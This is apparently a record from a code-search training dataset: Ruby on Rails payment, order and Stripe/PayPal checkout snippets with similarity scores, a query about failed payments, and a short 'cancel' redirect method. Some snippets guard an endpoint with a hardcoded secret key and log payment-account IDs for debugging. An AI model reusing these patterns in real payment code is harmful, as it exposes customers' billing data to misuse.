Product.find_by_id(params[:id])\n\t\t\n\t\t@sale_for = @product.sale_for\n\t\tif @sale_for == true\n\t\t\t@product.sale_for = false\n\t\telse\n\t\t\t@product.sale_for = true\n\t\tend\n\t\t@product.save \n\t\tputs \"Sale for\",@sale_for\n\t\trender :json => {:sale_for => @product.sale_for}\n\tend", "def accept\n offer = Offer.find(params[:id])\n if offer \n if offer.product.user.id == @current_user.id\n if offer.offer_status == Offer.OFFER_OFFERED\n conversation = Conversation.new\n conversation.seller = @current_user\n conversation.buyer = offer.user\n conversation.offer = offer\n conversation.save()\n \n offer.offer_status = Offer.OFFER_ACCEPTED\n offer.conversation_id = conversation.id\n offer.save()\n \n offer.product.sold_status = Product.SOLD_IN_TRANSACTION\n offer.product.save()\n\n notify(\"NOTIF_NEW_CONVERSATION\", {\n conversation: {\n id: conversation.id,\n is_seller: false,\n prev_message: nil\n },\n user: {\n id: @current_user.id,\n username: @current_user.username,\n first_name: @current_user.first_name,\n last_name: @current_user.last_name\n },\n offer: {\n id: offer.id,\n price: offer.price\n },\n product: {\n id: offer.product.id,\n product_name: offer.product.product_name,\n price: offer.product.price\n }\n }, offer.user_id)\n\n OfferMailer.offer_accepted_email(offer.user, offer, offer.product, offer.product.user, conversation).deliver_later!(wait: 15.seconds)\n \n render status: 200, json: {conversation_id: conversation.id}\n else\n render status: 471, json: {error: true}\n end\n else\n render status: 472, json: {error: true}\n end\n else\n render status: 404, json: {error: true}\n end\n end", "def save_with_payment\n if(self.merchandise_id.present?) #if a purchase is being made\n puts \"13x\" ##########\n @merchandise = Merchandise.find(self.merchandise_id)\n self.pricesold = @merchandise.price\n self.author_id = @merchandise.user_id \n seller = User.find(@merchandise.user_id)\n amt = (@merchandise.price * 100).to_i \n desc = @merchandise.name \n %%if self.group_id.present?\n self.groupcut = ((@merchandise.price * 5).to_i).to_f/100\n self.authorcut = ((@merchandise.price * 92).to_i - 30).to_f/100 - self.groupcut\n else%\n self.groupcut = 0.0\n self.authorcut = ((@merchandise.price * 92.1).to_i - 30).to_f/100\n %%end%\n\n else #If a donation is being made\n puts \"14x\" ##########\n self.pricesold = pricesold\n self.author_id = author_id\n seller = User.find(self.author_id)\n amt = (pricesold * 100).to_i\n self.authorcut = ((pricesold * 92.1).to_i - 30).to_f/100\n if self.user_id.present?\n purchaser = User.find(self.user_id)\n desc = \"Donation of $\" + String(pricesold) + \" from \" + purchaser.name\n else\n desc = \"Donation of $\" + String(pricesold) + \" from anonymous customer\"\n end\n end\n\n sellerstripeaccount = Stripe::Account.retrieve(seller.stripeid)\n puts seller.stripeid + \" <-- SELLER stripeid\" ###########\n %%if self.group_id.present? #not used right now\n group = Group.find(self.group_id)\n groupstripeaccount = Stripe::Account.retrieve(group.stripeid)\n end%\n\n if self.email.present?\n puts \"15x\" ##########\n #\n customer = Stripe::Customer.create(\n :source => stripe_card_token, #token from? purchases.js.coffee?\n :description => \"anonymous customer\", # what info do I really want here\n :email => self.email\n )\n puts customer.id ###########\n puts customer.email\n\n else\n puts \"16x\" ##########\n @purchaser = User.find(self.user_id)\n puts @purchaser.name + \" here 16x\" ###########################\n if(@purchaser.stripe_customer_token).present?\n puts \"17x stripe customer token is present\" ##########\n customer = Stripe::Customer.retrieve(@purchaser.stripe_customer_token)\n puts customer.id + \" getting customer id from stripe customer token \"########### CHECKING\n if stripe_card_token.present?\n customer.source = stripe_card_token\n customer.save\n end\n else\n puts \"18x\" ##########\n customer = Stripe::Customer.create(\n :source => stripe_card_token, #token from? purchases.js.coffee?\n :description => @purchaser.name, # what info do I really want here\n :email => @purchaser.email\n )\n @purchaser.update_attribute(:stripe_customer_token, customer.id)\n puts customer.id + \" BUYER customer id\"######## this is customer id for the buyer\n # works upto here\n end\n end\n\n if seller.id == 143 || seller.id == 1403 || seller.id == 1452 || seller.id == 1338 || seller.id == 1442\n puts \"19x\" ##########\n charge = Stripe::Charge.create({\n :amount => amt,\n :currency => \"usd\",\n :customer => customer.id,\n :description => desc\n })\n else\n puts \"20x\" ##########\n # transfergrp = \"purchase\" + (Purchase.maximum(:id) + 1).to_s #won't work when lots of simultaneous purchases\n appfee = ((amt * 5)/100)\n\n puts customer.id ########\n puts sellerstripeaccount.id ########\n token = Stripe::Token.create({\n :customer => customer.id,\n }, {:stripe_account => sellerstripeaccount.id} )\n\n puts \"token end here 20x\" #############\n\n charge = Stripe::Charge.create( {\n :amount => amt, # amt charged to customer's credit card\n :currency => \"usd\",\n :source => token.id, #token from? purchases.js.coffee?\n # :customer => customer.id, # This will be necessary for subscriptions. See Stripe Docs & Stackoverflow\n :description => desc,\n :application_fee => appfee, #this is amt crowdpublishtv keeps - it includes groupcut since group gets paid some time later\n # :transfer_group => transfergrp\n } ,\n {:stripe_account => sellerstripeaccount.id } #appfee only needed for old way of 1 connected acct per transaction\n )\n # transfer = Stripe::Transfer.create({\n # :amount => (self.authorcut * 100).to_i,\n # :currency => \"usd\",\n # :destination => sellerstripeaccount.id,\n # :source_transaction => charge.id, # stripe attempts transfer when this isn't here, even when transfer_group is\n # :transfer_group => transfergrp #does this mean anything when there is a source transaction?\n # })\n puts \"charge here 20x\" #############\n if self.group_id.present? #this is for when groups affiliate to help sell\n puts \"21x\" #############\n transfer = Stripe::Transfer.create({\n :amount => (self.groupcut * 100).to_i,\n :currency => \"usd\",\n :destination => groupstripeaccount.id,\n :source_transaction => charge.id,\n :transfer_group => transfergrp\n })\n end\n end\n\n puts \"23x\" #############\n save!\n\n rescue Stripe::InvalidRequestError => e\n puts \"Stripe error in model!\"\n logger.error \"Stripe error while creating customer: #{e.message}\"\n errors.add :base, \"There was a problem with your credit card.\"\n false\n\n end", "def create\n if params[:trade_id]\n trade = Trade.find params[:trade_id]\n item = trade.item\n offer = trade.offer\n if current_user and trade.item.user_id == current_user.id\n if trade.active?\n accepted_offer = AcceptedOffer.new\n accepted_offer.trade_id = params[:trade_id]\n accepted_offer.user_id = current_user.id\n accepted_offer.recent_tradeya = true\n if accepted_offer.save\n trade.update_attribute(:status, \"ACCEPTED\")\n item.reduce_quantity\n offer.reduce_quantity\n copy2me = (params[:copy2me] == 'true')\n # this is an immediate notification with Publisher's message\n #EventNotification.add_2_notification_q(NOTIFICATION_TYPE_IMIDIATE, NOTIFICATION_OFFER_ACCEPTED, offer.user_id, {:trade_id => trade.id, :msg => params[:msg], :copy2me => copy2me, :chk_user_setting => true})\n TradeMailer.offer_accepted_offerer(offer.id,offer.user.id,item.id,item.user.id).deliver\n TradeMailer.offer_accepted_owner(offer.id,offer.user.id,item.id,item.user.id).deliver\n TradeMailer.review_reminder_offerer(offer.user.id,item.user.id).deliver_in(3.days)\n TradeMailer.review_reminder_owner(offer.user.id,item.user.id).deliver_in(3.days)\n # to show count of offers accepted in daily or weekly notification mails\n EventNotification.add_2_notification_q(NOTIFICATION_TYPE_USER_SETTING, NOTIFICATION_OFFER_ACCEPTED, offer.user_id, {:trade_id => trade.id, :msg => params[:msg], :copy2me => copy2me}) unless (offer.user.notification_frequency == NOTIFICATION_FREQUENCY_IMMEDIATE or !offer.user.notify_offer_accepted)\n \n # Alert.add_2_alert_q(ALERT_TYPE_OFFER, OFFER_ACCEPTED, offer.user_id, nil, trade.id)\n end\n end\n end\n # if item.completed?\n # redirect_to accepted_offers_item_path(item)\n # else\n # redirect_to trade_offers_item_path(item)\n # end\n redirect_to past_trades_user_path(current_user,:trade => trade.id)\n end\n end", "def create\n @announcement = Announcement.find(params[:announcement])\n\n @purchase = Purchase.new(announcement: @announcement, buyer_id: current_buyer.id, description: @announcement.title,seller_id: @announcement.seller.id )\n key = @announcement.seller.access_code\n Stripe.api_key = key\n\n token = params[:stripeToken]\n\n customer = if current_buyer.stripe_id?\n Stripe::Customer.retrieve(current_user.stripe_id)\n else\n Stripe::Customer.create(email: current_buyer.email, source: token)\n end\n\n payment_intent = Stripe::PaymentIntent.create({\n customer:customer,\n payment_method_types: ['card'],\n amount: @announcement.price.to_i * 100,\n currency: 'eur',\n confirm: true, \n }, stripe_account: @announcement.seller.uid)\n\n respond_to do |format|\n if @purchase.save\n #create the notifications\n Order.create(description: \"ordine 2\",seller: @announcement.seller,announcement: @announcement)\n Notification.create(recipient: @announcement.seller, actor: current_buyer, action: \"buy\" ,notifiable: @announcement)\n @user = current_buyer\n format.html { redirect_to buyer_my_purchases_path, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n #allowing a \"buyer\" to purchase \n if params[:checkout] == \"success\"\n #update buyer - creating a new buyer and linking that to the profile table before updating the buyer and saving \n Buyer.create(profile_id: current_user.profile.id)\n @listing.buyer_id = current_user.profile.buyer.id\n @listing.save\n end\n end", "def new \n #I get the seller ID and will now take all items from this seller! \n #Warning - the incoming number is a string! \n order = params[:order]\n @order = Order.new\n @order.seller_id = order[:seller_id].to_i\n #Destroy all current \"new\" orders that involve this user and seller -> obviously, he has started a new one. \n @orders_for_destruction_due_to_incompleteness = Order.find( :all, :conditions => [\"user_id = ? and seller_id = ? and status = ?\", self.current_user.id, @order.seller_id, \"incomplete\"])\n @orders_for_destruction_due_to_incompleteness.each do |o|\n o.destroy\n end \n #Continue filling the new order.\n @order.user_id = self.current_user.id\n @order.status = \"incomplete\"\n @order.step = \"step1\"\n @order.highest_preparation_time = 0 #Will be changed when walking through the deliverables (resave order afterwards.)\n slrid = @order.seller_id.to_i \n if @order.save \n #Make a new, empty rating with all required inputs.\n @rating = Rating.new\n @rating.order_id = @order.id\n @rating.user_id = @order.user_id\n @rating.seller_id = @order.seller_id\n @rating.userrating = 9\n @rating.sellerrating = 9\n @rating.save\n #New rating created\n \n @failure = nil\n @cart.cart_items.each do |x|\n if x.listing.seller_id == slrid \n y = x.listing \n listing = Listing.find(x.listing_id)\n if listing != nil\n deliverable = Deliverable.new(params[listing])\n deliverable.order_id = @order.id\n deliverable.listing_id = x.listing_id\n deliverable.amount = x.amount\n deliverable.size = x.size\n deliverable.color = x.color\n \n #Copying information from the listing.\n deliverable.title = y.title\n deliverable.description = y.description\n deliverable.price = y.price \n deliverable.category_id = y.category_id\n deliverable.subcategory_id = y.subcategory_id\n deliverable.lastcategory_id = y.lastcategory_id\n deliverable.material_tag = y.material_tag\n deliverable.public_tag = y.public_tag\n deliverable.item_height = y.item_height\n deliverable.item_width = y.item_width\n deliverable.item_length = y.item_length\n deliverable.item_weight = y.item_weight\n deliverable.safe_for_larp = y.safe_for_larp\n deliverable.safe_for_reenactment = y.safe_for_reenactment\n \n deliverable.preparation_time = y.preparation_time #Copy this preparation time and save the biggest preparation time as well as shipping time.\n if deliverable.preparation_time.to_i >= @order.highest_preparation_time\n @order.highest_preparation_time = deliverable.preparation_time\n end\n deliverable.country1 = y.country1\n deliverable.country2 = y.country2\n deliverable.country3 = y.country3\n deliverable.country4 = y.country4\n deliverable.country5 = y.country5\n deliverable.country1_shipping = y.country1_shipping\n deliverable.country2_shipping = y.country2_shipping\n deliverable.country3_shipping = y.country3_shipping\n deliverable.country4_shipping = y.country4_shipping\n deliverable.country5_shipping = y.country5_shipping\n deliverable.country1_shipping_with_another_item = y.country1_shipping_with_another_item\n deliverable.country2_shipping_with_another_item = y.country2_shipping_with_another_item\n deliverable.country3_shipping_with_another_item = y.country3_shipping_with_another_item\n deliverable.country4_shipping_with_another_item = y.country4_shipping_with_another_item\n deliverable.country5_shipping_with_another_item = y.country5_shipping_with_another_item\n deliverable.country1_deliverytime = y.country1_deliverytime\n deliverable.country2_deliverytime = y.country2_deliverytime\n deliverable.country3_deliverytime = y.country3_deliverytime\n deliverable.country4_deliverytime = y.country4_deliverytime\n deliverable.country5_deliverytime = y.country5_deliverytime \n deliverable.save\n \n else\n @failure = 1\n #Error!\n end\n end\n end\n end\n #Went through all seller ids in the array and checked out all items.\n\n\n\n @current_order = Order.find( :first,\n :conditions => [\"user_id = ? and seller_id = ? and status = ?\", self.current_user.id, @order.seller_id, \"incomplete\"]) \n @order.save\n @orders = Order.find(:all, :conditions => [\"status = ? and user_id = ? and id != ?\", \"incomplete\", @order.user_id, @current_order.id] )\n \n respond_to do |format| \n if @failure == nil \n format.html #new.html.erb \n else\n flash[:notice] = t(\"controllers.orders.s9\")\n format.html\n @orders = Order.find( :all,\n :conditions => [\"status = ? and user_id = ?\", \"incomplete\", @order.user_id])\n format.xml { render :controller => \"cart\", :action => \"show\" }\n end\n end\n end", "def new\n\tif params[:id].present?\n \t#@bought=BuyPlan.where(user_id: current_user.id).where(status: 1).first\n \t@bought=BuyPlan.find_by user_id: current_user.id\n\t\tchange=\"Z\"\n\n\t\tif @bought.present?\n\t\t\tcase @bought.plan_id\n\t\t\twhen 1\n\t\t\t\tcase params[:id]\n\t\t\t\twhen 1\n\t\t\t\t\tchange=\"N\"\n\t\t\t\twhen 2\n\t\t\t\t\tchange=\"U\"\n\t\t\t\twhen 3\n\t\t\t\t\tchange=\"U\"\n\t\t\t\twhen 4\n\t\t\t\t\tchange=\"U\"\n\t\t\t\tend\n\t\t\twhen 2\n\t\t\t\tcase params[:id]\n\t\t\t\twhen 1\n\t\t\t\t\tchange=\"D\"\n\t\t\t\twhen 2\n\t\t\t\t\tchange=\"N\"\n\t\t\t\twhen 3\n\t\t\t\t\tchange=\"U\"\n\t\t\t\twhen 4\n\t\t\t\t\tchange=\"U\"\n\t\t\t\tend\n\t\t\twhen 3\n\t\t\t\tcase params[:id]\n\t\t\t\twhen 1\n\t\t\t\t\tchange=\"D\"\n\t\t\t\twhen 2\n\t\t\t\t\tchange=\"D\"\n\t\t\t\twhen 3\n\t\t\t\t\tchange=\"N\"\n\t\t\t\twhen 4\n\t\t\t\t\tchange=\"U\"\n\t\t\t\tend\n\t\t\twhen 4\n\t\t\t\tcase params[:id]\n\t\t\t\twhen 1\n\t\t\t\t\tchange=\"D\"\n\t\t\t\twhen 2\n\t\t\t\t\tchange=\"D\"\n\t\t\t\twhen 3\n\t\t\t\t\tchange=\"D\"\n\t\t\t\twhen 4\n\t\t\t\t\tchange=\"N\"\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tcase change\n\t\twhen \"N\"\n \tredirect_to pages_page0_path, :flash => { :notice => \"You are subscribed\"}\n\t\t\treturn\n\t\twhen \"D\"\n\t\t\tredirect_to pages_page0_path, :flash => { :notice => \"We will make change after current period.\" }\n\t\t\treturn\n \telse\n\t\t\tif current_user.stripe_id.present?\n\t\t\t\t@card=Stripe::Customer.retrieve(current_user.stripe_id)\n\t\t\tend\n\t\t\t@plan=Plan.find(params[:id])\n \tend\n\telse\n\t\tredirect_to pages_products_path, :flash => { :notice => \"plan not found\" }\n\tend\n\trescue ActiveRecord::RecordNotFound => e\n\t\tredirect_to pages_products_path, :flash => { :notice => \"plan not found\" }\n end", "def show\n p session[:payment_id]\n if params[:paymentId] && params[:PayerID] && params[:paymentId] == session[:payment_id]\n if PayPal::SDK::REST::Payment.find(params[:paymentId]).execute( :payer_id => params[:PayerID] )\n @order.update(approved: true, paid: true)\n p 'succes payments'\n CinemaMailer.sale(@order).deliver_later(wait: 1.seconds)\n else\n puts @payment.error # Error Hash\n @tmp = 1\n @order\n end\n else\n p 'error payments'\n @tmp = 0\n end\n end", "def purchase\n # number of checks to see if coming out of context\n # no order_id\n unless params[:order_id]\n go_home()\n return\n end\n @order = Order.find_by_id(params[:order_id])\n # order doesn't exist\n unless @order\n go_home()\n return\n end\n # order is already authorized or paid\n if @order.state != Order::CREATED\n go_home()\n return\n end\n # order has zero quantity or zero amount\n if @order.quantity == 0 or @order.amount == 0\n go_home()\n return\n end\n # deal doesn't exist\n deal = @order.deal\n unless deal\n go_home()\n return\n end\n \n # check if deal has ended\n if deal.is_ended\n flash[:error] = \"This deal has ended. Checkout out some of our other deals!\"\n go_home()\n return\n end\n \n # check if deal hasn't started\n if !deal.is_started\n go_home()\n return\n end\n \n # check if order is timed out\n if @order.is_timed_out\n flash[:error] = \"Your order has timed out. Please restart your transaction.\"\n redirect_to :controller => self.controller_name, :action => 'order', :deal_id => @order.deal.id\n return\n end\n \n if params[:failure]\n flash.now[:error] = \"There was a problem approving your transaction. Please try again.\"\n end\n \n @sim_transaction = \n AuthorizeNet::SIM::Transaction.new(\n AUTHORIZE_NET_CONFIG['api_login_id'], \n AUTHORIZE_NET_CONFIG['api_transaction_key'], \n @order.amount.to_f,\n :transaction_type => AuthorizeNet::SIM::Transaction::Type::AUTHORIZE_ONLY,\n :relay_url => url_for(:controller => self.controller_name, :action => 'relay_response', :only_path => false))\n @timeout = OPTIONS[:order_timeout]\n @gateway_url = Rails.env.production? ? AuthorizeNet::SIM::Transaction::Gateway::LIVE : AuthorizeNet::SIM::Transaction::Gateway::TEST\n render \"payment/#{self.action_name}\"\n end", "def checkout\n self.update_item_inventory_for_checkout\n self.update(status: \"submitted\")\n self.user.current_cart = nil\n # self.user.save\n # binding.pry\n end", "def purchase_events_existing_card\n\n @number = params[:peu][:number]\n coupon = params[:peu][:coupon] # this is the coupon name/code, a string\n cost = params[:peu][:cost] #in cents\n\n # retrieve stripe customer object (downstream from user having a customer_id)\n c = Stripe::Customer.retrieve(current_user.customer_id)\n \n if existing_customer_purchase_events_existing_card(@number, cost, coupon)\n #if the customer had a coupon, update that coupon to be inactive, and attach customer's user id to it\n #if !coupon.blank?\n # redeem_single_use_coupon(coupon)\n #end \n flash[:success] = \"Thank you! You have purchased an additional #{@number} event pages.\"\n redirect_to current_user\n else #errors in processing the card shouldn't usually happen, because the card was originally ok. Can test by using stripes card number that binds to customer but does not charge correctly.\n # YES THE REDIRECT WORKS WITH THAT STRIPE TESTING NUMBER\n redirect_to existing_user_purchase_path\n end \n\n\n \nend", "def create\n @user = current_user\n @product = Product.find(params[:product_id])\n @bid = @user.bids.build\n @product.high_bidder = @user.id\n @bid.product = @product\n @product.current_price = @product.current_price + @product.current_price * 0.1\n @product.save\n \n #implement later for time controlled bids\n #if @product.end_time - Time.now > 0\n #\n #send\n\n respond_to do |format|\n if @bid.save\n \n format.html { redirect_to :back, notice: 'Bid was successfully created.' }\n format.json { render json: @bid, status: :created, location: @bid }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bid.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def updateFromHaigyProduceGrab\n @itemId = nil\n @success = \"no\"\n allStores = Store.where(company_id: HaigyManageConstant::Company::HAIGY_ID)\n\n # a temporary security solution\n key = begin params[:key].to_s rescue \"\" end\n if key != \"jkfnlaewnofaoehdjcv32rfdkc-02mr3fdfsmf301femwecpzfepomvdlfmwdasfecz2421442385\"\n @errorMessage = \"Not allowed\"\n return\n end\n\n itemName = begin params[:item_name].to_s rescue \"\" end\n inStock = begin params[:in_stock].to_s rescue \"\" end\n purchaseUnit = begin params[:purchase_unit].to_s rescue \"\" end\n price = begin params[:price].to_f * (1.0 + HaigyManageConstant::Item::PRODUCE_PRICE_MARKUP_RATIO) rescue 0.0 end\n estimatedWeight = begin params[:estimated_weight_of_each_in_lb].to_f rescue 0.0 end\n isOrganic = begin params[:is_organic].to_s rescue \"\" end\n isSeasonal = begin params[:is_seasonal].to_s rescue \"\" end\n\n if itemName.blank?\n @errorMessage = \"The value of the parameter, item_name, is not correct.\"\n return\n end\n if inStock != \"yes\" && inStock != \"no\"\n @errorMessage = \"The value of the parameter, in_stock, is not correct.\"\n return\n end\n if purchaseUnit.blank?\n @errorMessage = \"The value of the parameter, purchase_unit, is not correct.\"\n return\n end\n unless price > 0.0\n @errorMessage = \"The value of the parameter, price, is not correct.\"\n return\n end\n unless estimatedWeight > 0.0\n @errorMessage = \"The value of the parameter, estimated_weight_of_each_in_lb, is not correct.\"\n return\n end\n if isOrganic != \"yes\" && isOrganic != \"no\"\n @errorMessage = \"The value of the parameter, is_organic, is not correct.\"\n return\n end\n if isSeasonal != \"yes\" && isSeasonal != \"no\"\n @errorMessage = \"The value of the parameter, is_seasonal, is not correct.\"\n return\n end\n\n if purchaseUnit == HaigyManageConstant::Item::PURCHASE_UNIT[:per_lb]\n purchaseUnit = HaigyManageConstant::Item::PURCHASE_UNIT[:each] # for a new item. the default unit for a new produce item is \"each\". if other unit is needed, please manually change it.\n pricePerLb = price\n priceEach = price * estimatedWeight\n else\n pricePerLb = price / estimatedWeight\n priceEach = price\n end\n\n itemName = itemName.titleize\n item = Item.where(id: params[:item_id]).first\n if item.blank?\n sameNameItems = Item.where(name: itemName, is_category: false)\n if sameNameItems.length == 1\n item = sameNameItems.first\n elsif sameNameItems.length > 1\n @errorMessage = \"Found more than one item in the database with this item name.\"\n return\n end\n end\n\n if item.present?\n @itemId = item.id\n if item.name != itemName\n @errorMessage = [\"Cannot change the item name from here. The item name in the database is: \", item.name].join(\"\")\n return\n end\n if item.is_organic != (isOrganic == \"yes\")\n @errorMessage = \"Cannot change the item attribute, is_organic, from here.\"\n return\n end\n if item.is_seasonal != (isSeasonal == \"yes\")\n @errorMessage = \"Cannot change the item attribute, is_seasonal, from here.\"\n return\n end\n\n ActiveRecord::Base.transaction do\n allStores.each do |store|\n itemInfo = StoreItemInfo.where(item_id: item.id, store_id: store.id).first\n\n if inStock == \"yes\"\n itemInfo.in_stock = true\n else\n itemInfo.in_stock = false\n itemInfo.out_of_stock_since = Time.now\n end\n\n if item.unit == HaigyManageConstant::Item::PURCHASE_UNIT[:per_lb]\n price = pricePerLb\n else\n price = priceEach\n end\n\n if price < itemInfo.price\n itemInfo.on_sale = true\n if price < itemInfo.sale_price\n itemInfo.price = itemInfo.sale_price\n end\n itemInfo.sale_price = price\n else\n itemInfo.on_sale = false\n itemInfo.sale_price = price\n itemInfo.price = price\n end\n\n itemInfo.estimated_weight_of_each_in_lb = estimatedWeight\n\n # force the price to be ceiled to the cent digit\n itemInfo.price = (itemInfo.price * 100.0).ceil / 100.0\n itemInfo.sale_price = (itemInfo.sale_price * 100.0).ceil / 100.0\n\n itemInfo.save\n\n # \"updateInStockInfoInStore\" is defined in \"StoreItemInfoConcern\"\n # also update item category infos in the store\n if item.parent_category_item_id != HaigyManageConstant::Item::DEFAULT_PARENT_CATEGORY_ITEM_ID\n unless updateInStockInfoInStore(item.parent_category_item_id, itemInfo.store_id) # has unexpected error\n raise \"Fail to update necessary category infos in the store.\"\n end\n end\n end\n\n @success = \"yes\"\n end\n else\n ActiveRecord::Base.transaction do\n newItem = Item.create(\n name: itemName,\n is_category: false,\n parent_category_item_id: HaigyManageConstant::Item::DEFAULT_PARENT_CATEGORY_ITEM_ID,\n has_fixed_item_size: false,\n unit: purchaseUnit,\n cover_image: File.open(Rails.root.join(\"resource\", \"image\", \"unknown.jpg\")),\n temporary_cover_image: true,\n is_produce: true,\n is_seasonal: (isSeasonal == \"yes\"),\n is_organic: (isOrganic == \"yes\")\n )\n @itemId = newItem.id\n\n # force the price to be ceiled to the cent digit\n priceEach = (priceEach * 100.0).ceil / 100.0\n\n allStores.each do |store|\n StoreItemInfo.create(\n item_id: @itemId,\n store_id: store.id,\n is_category_item: false,\n estimated_weight_of_each_in_lb: estimatedWeight,\n price: priceEach,\n sale_price: priceEach,\n on_sale: false,\n in_stock: (inStock == \"yes\"),\n out_of_stock_since: Time.now\n )\n end\n\n @success = \"yes\"\n end\n end\n end" ]
[ "0.6630691", "0.65302056", "0.64458394", "0.6417934", "0.6382279", "0.6348252", "0.63372695", "0.6313289", "0.6240675", "0.62329525", "0.62276113", "0.62220705", "0.6205922", "0.6197361", "0.6179753", "0.6163918", "0.6156938", "0.6153812", "0.614195", "0.614129", "0.61407804", "0.61382264", "0.6130584", "0.6128127", "0.61247796", "0.6119257", "0.6105514", "0.61045724", "0.60875547", "0.60845476", "0.6082215", "0.608108", "0.60798985", "0.60710704", "0.6061882", "0.60588455", "0.6048407", "0.6046441", "0.6046249", "0.60373986", "0.6033714", "0.6029173", "0.60231024", "0.6018659", "0.60105217", "0.6005506", "0.60021836", "0.6001782", "0.5993282", "0.59923714", "0.5981666", "0.59800863", "0.59796906", "0.59755987", "0.59714484", "0.5963222", "0.59573287", "0.5953013", "0.59527975", "0.5949265", "0.594716", "0.5934486", "0.5934436", "0.5934402", "0.5934329", "0.59267455", "0.59258515", "0.5915366", "0.59123915", "0.5910232", "0.59064484", "0.5905688", "0.5901867", "0.5899511", "0.5899125", "0.5891856", "0.588765", "0.5883001", "0.5882789", "0.58662796", "0.5865932", "0.58645505", "0.58642536", "0.5863706", "0.5863549", "0.5860591", "0.5859202", "0.5857594", "0.5857491", "0.58502966", "0.58467376", "0.5842891", "0.583956", "0.5833256", "0.5819184", "0.5817499", "0.58172035", "0.5802828", "0.580147", "0.57957053" ]
0.78068453
0
action to run if payment unsuccessful
def cancel redirect_to root_url, flash[:alert] = "Something went wrong." end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def retry_failed_payment\n end", "def payment_failed?\n cancel_reason == PAYMENT_FAILED\n end", "def retry_failed_payment\n pay_subscription.update(status: :active)\n end", "def failed_purchase_response\n end", "def receipt\n check_payment(\"GET\", current_user)\n if @payment.failed?\n flash.now[:error] = \"We are sorry, we were not able to verify your payment from Amazon.com\"\n render \"sorry\"\n end\n end", "def check(payment)\n retval\n end", "def fail_payment(event)\n payment = extract_payment_from_event(event)\n\n payment.with_lock do\n break if payment.failed?\n\n payment.failure!.tap do\n SolidusStripe::LogEntries.payment_log(\n payment,\n success: false,\n message: \"Payment was marked as failed after payment_intent.failed webhook\"\n )\n end\n end\n end", "def stripe_invoice_payment_failed(event, req)\n invoice = event['data']['object']\n # NOTE: If no next attempt we are on the last, subscription will be cancelled\n return false unless invoice['next_payment_attempt']\n # NOTE: Make sure we didn't misfire this hook\n return false if invoice['paid']\n dealership = dealer_dao.get_by_customer_id(invoice['customer'])\n customer = Stripe::Customer.retrieve(dealership.customer_id)\n attempt = case invoice['attempt_count']\n when 1 then '1st'\n when 2 then '2nd'\n when 3 then '3rd'\n end\n Lynr.producer('job').publish(Lynr::Queue::EmailJob.new('payment/charge_failed', {\n to: dealership.identity.email,\n subject: \"We couldn't process payment for your Lynr account\",\n base_url: req.base_url,\n attempt_count: attempt,\n last4: customer.active_card.last4,\n next_attempt: Time.at(invoice['next_payment_attempt']),\n support_email: Lynr.config('app').support_email,\n }))\n end", "def attempt\n payment_params = params[:payment_authorizer]\n @payment_authorizer = PaymentAuthorizer.new(payment_params)\n amount = params[:donation_amount_in_dollars].to_i\n\n if amount <= 98\n @error_message = \"Your donation amount seems to be incorrect. Please try again.\"\n render :action => \"new\"\n elsif @payment_authorizer.attempt(amount)\n render :action => \"receipt\"\n else\n render :action => \"new\"\n end\n end", "def test_unsuccessful_request\n skip\n @gateway.expects(:ssl_post).returns(failed_purchase_response)\n\n assert response = @gateway.purchase(@amount, @credit_card, @options)\n assert_failure response\n assert response.test?\n end", "def verify!\n raise \"Payment details not active anymore\" if active == false\n end", "def payment_succeeded\n # log_hook_notification\n order_state_changed_to_paid\n\n render nothing: true, status: 200 # answer to API\n rescue MangoPay::ResponseError => ex\n log_error = ex.message\n rescue => ex\n log_error = ex.message\n ensure\n MangopayLog.create(event: \"payment_succeeded\",\n mangopay_answer: \"Mangopay HOOK - EventType: #{params['EventType']},\n RessourceId: #{params['RessourceId']},\n Date: #{params['Date']}\",\n user_id: @user.id.to_i,\n error_logs: log_error)\n end", "def post_processing\n if params['redirect_status'] == 'succeeded'\n flash[:success] =\n 'Payment submitted. Thank you! Please wait a moment and refresh to see your dues updated.'\n else\n flash[:error] =\n 'Payment could not be submitted. Please contact a director for further help.'\n end\n redirect_to(root_url)\n end", "def subscription_payment_failed(customer_param, atts = {})\n around_mail_action(:subscription_payment_failed, customer_param, atts) do\n return true unless EffectiveOrders.mailer[:send_subscription_payment_failed]\n\n @customer = (customer_param.kind_of?(Effective::Customer) ? customer_param : Effective::Customer.find(customer_param))\n @subscriptions = @customer.subscriptions\n @user = @customer.user\n\n @subject = subject_for(@customer, :subscription_payment_failed, 'Payment failed - please update your card details')\n\n mail(to: @customer.user.email, subject: @subject)\n end\n end", "def paypal_success\n @token, @payer_id = params[:token], params[:payer_id]\n if request.post? and @token and @payer_id\n @result = EXPRESS_GATEWAY.purchase(cart.total_cents, {:ip => request.remote_ip, :token => @token, :payer_id => @payer_id})\n if @result.success?\n @cart.source = :paypal\n send_emails\n mark_completed :forget => true\n render :action => \"success\" \n else\n flash[:error] = \"could not perform EXPRESS_GATEWAY.purchase\"\n redirect_to :controller=>:store, :action=>:error\n end\n else\n flash[:error] = \"could not find token or payer id\"\n redirect_to :controller=>:store, :action=>:error\n end\n end", "def notify_payment\n begin\n user = User.find(params['referenceId'].split(\"-\").first)\n check_payment(\"POST\", user)\n render :text => \"Thank you!\"\n rescue Exception => ex\n logger.error \"params: #{params.inspect}\"\n logger.error \"a problem occured when processing a payment: #{ex.message} \\n #{ex.backtrace}\"\n render :text => \"A problem occured\"\n end\n end", "def payment_completed\n reservation = Reservation.find(params[:id])\n return if reservation.payment_completed?\n\n flash[:danger] = \"Can't approve this incomplete booking request.\"\n redirect_to your_reservations_path\n end", "def instant_payment_notification\n begin\n if valid_withdrawal_response?(params)\n MonetaryWithdrawal.find_by_id(params[:unique_id_1]).update_attribute(:paid, true)\n elsif DonationProcessors::Paypal::Activation.valid_masspay_response?(params) || DonationProcessors::Paypal::Activation.valid_paypal_activation?(params)\n DonationProcessors::Paypal::Activation.from_paypal_params(params)\n else\n @donation = MonetaryDonation.from_paypal_params(params)\n @donation.add_to_kroogi_circle(@invite_kroogi)\n @donation.invite = @invite\n @donation.save(false)\n end\n rescue Kroogi::Error => e\n AdminNotifier.async_deliver_admin_alert(\"Error receiving payment notification from PayPal: #{e.inspect}. 